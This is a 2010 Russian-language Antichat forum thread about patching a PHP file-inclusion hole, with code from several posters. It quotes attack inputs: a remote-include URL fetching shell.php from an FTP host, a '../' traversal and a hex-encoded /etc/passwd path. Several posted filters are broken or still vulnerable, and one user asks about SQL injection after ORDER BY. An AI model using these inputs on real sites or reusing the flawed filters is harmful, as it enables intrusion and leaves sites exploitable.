 |
|

12.03.2010, 13:37
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от Jokester
Угу, этот способ просто класс 
file.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php
PS Я так полагаю в str_replace ты просто опечатался, как и в '\', а то вообще работать не будет.
почему? точка вырезается же, с ftp не проканает.
А "\" вырезается, чтобы не передать в хексе путь
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 = /etc/passwd
Про опечатку - действительно два слеша надо, т.к. экранирование.
PHP код:
<?
if ($page=="") {
$page="any.php";
include($page);
}else{
str_replace('.', '', $page);
str_replace('/', '', $page); // прямые тоже вырезать
str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
?>
Последний раз редактировалось попугай; 12.03.2010 в 13:55..
|
|
|

12.03.2010, 14:21
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
попугай, ничего твой "фильтр" не вырезает. Проверь сам
PHP код:
if ($page=="") {
$page="any.php";
include($page);
}else{
str_replace('.', '', $page);
str_replace('/', '', $page); // прямые тоже вырезать
str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
//test.php?page=../xek.txt
//test.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php
Проверял бы..
|
|
|

12.03.2010, 14:52
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от .:[melkiy]:.
попугай, ничего твой "фильтр" не вырезает. Проверь сам
PHP код:
if ($page=="") {
$page="any.php";
include($page);
}else{
str_replace('.', '', $page);
str_replace('/', '', $page); // прямые тоже вырезать
str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
//test.php?page=../xek.txt
//test.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php
Проверял бы..
добавь
Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу.
Вот так будет полностью в-общем.
PHP код:
<?php
$page = $_GET['page'];
if ($page=="") {
$page="any.php";
include($page);
}else{
$page = str_replace('.', '', $page);
$page = str_replace('/', '', $page);
$page = str_replace(':', '', $page);
$page = str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
?>
Strilo4ka, да это не идея, это обычная практика.
Последний раз редактировалось попугай; 12.03.2010 в 15:17..
|
|
|

12.03.2010, 17:16
|
|
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами:
8859263
Репутация:
334
|
|
Есть запрос -
Код:
... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15
Можно ли провести sql-inj , и как? 
|
|
|

12.03.2010, 17:37
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от Jerri
Есть запрос -
Код:
... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15
Можно ли провести sql-inj , и как? 
Инъекция после order by
_http://www.securitylab.ru/contest/212101.php
|
|
|

12.03.2010, 20:48
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от попугай
добавь
Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу.
Вот так будет полностью в-общем.
PHP код:
<?php
$page = $_GET['page'];
if ($page=="") {
$page="any.php";
include($page);
}else{
$page = str_replace('.', '', $page);
$page = str_replace('/', '', $page);
$page = str_replace(':', '', $page);
$page = str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
?>
Strilo4ka, да это не идея, это обычная практика.
в принципе да помогло инклуда больше нету...
но теперь неоткрываются другие странички
http://www.site.ru/index.php?page=activ.htm
http://www.site.ru/index.php?page=presentations.htm
вопрос как их туда добавить? чет у меня не получилось пока....
|
|
|

12.03.2010, 21:36
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от 547
в принципе да помогло инклуда больше нету...
но теперь неоткрываются другие странички
http://www.site.ru/index.php?page=activ.htm
http://www.site.ru/index.php?page=presentations.htm
вопрос как их туда добавить? чет у меня не получилось пока....
А зачем делать через зад, если вот дали нормальный вариант:
https://forum.antichat.ru/showpost.php?p=1973181&postcount=12068
Или нужно понаставить фильтров, и думать обойдут их или нет?
|
|
|

12.03.2010, 21:49
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от Jokester
А зачем делать через зад, если вот дали нормальный вариант:
https://forum.antichat.ru/showpost.php?p=1973181&postcount=12068
Или нужно понаставить фильтров, и думать обойдут их или нет?
PHP код:
<?
$page = $_GET['page'];
if ($page=="") {
switch($page) {
case 'page1':
include("page1.html");
break;
case 'page2':
include("page2.html");
break;
case 'page3':
include("page3.html");
break;
...
default:
include("home.html");
break;
}
?>
да я так поначалу и пробовал,но!!!
parse error: syntax error, unexpected '.' in /web/clients/index.php
|
|
|

12.03.2010, 21:55
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
посчитай фигурные скобки, вообще проверь код (надеюсь троеточие догадался удалить)
|
|
|

12.03.2010, 22:08
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от Pashkela
посчитай фигурные скобки, вообще проверь код (надеюсь троеточие догадался удалить)
да там одна лишняя фигурная 
но всеравно странички которые написал вместо xxx.htm неоткрываются вместо них просто пустое место....
PHP код:
case 'page1':
include("xxx.htm");
break;
case 'page2':
include("xxxx.htm");
break;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|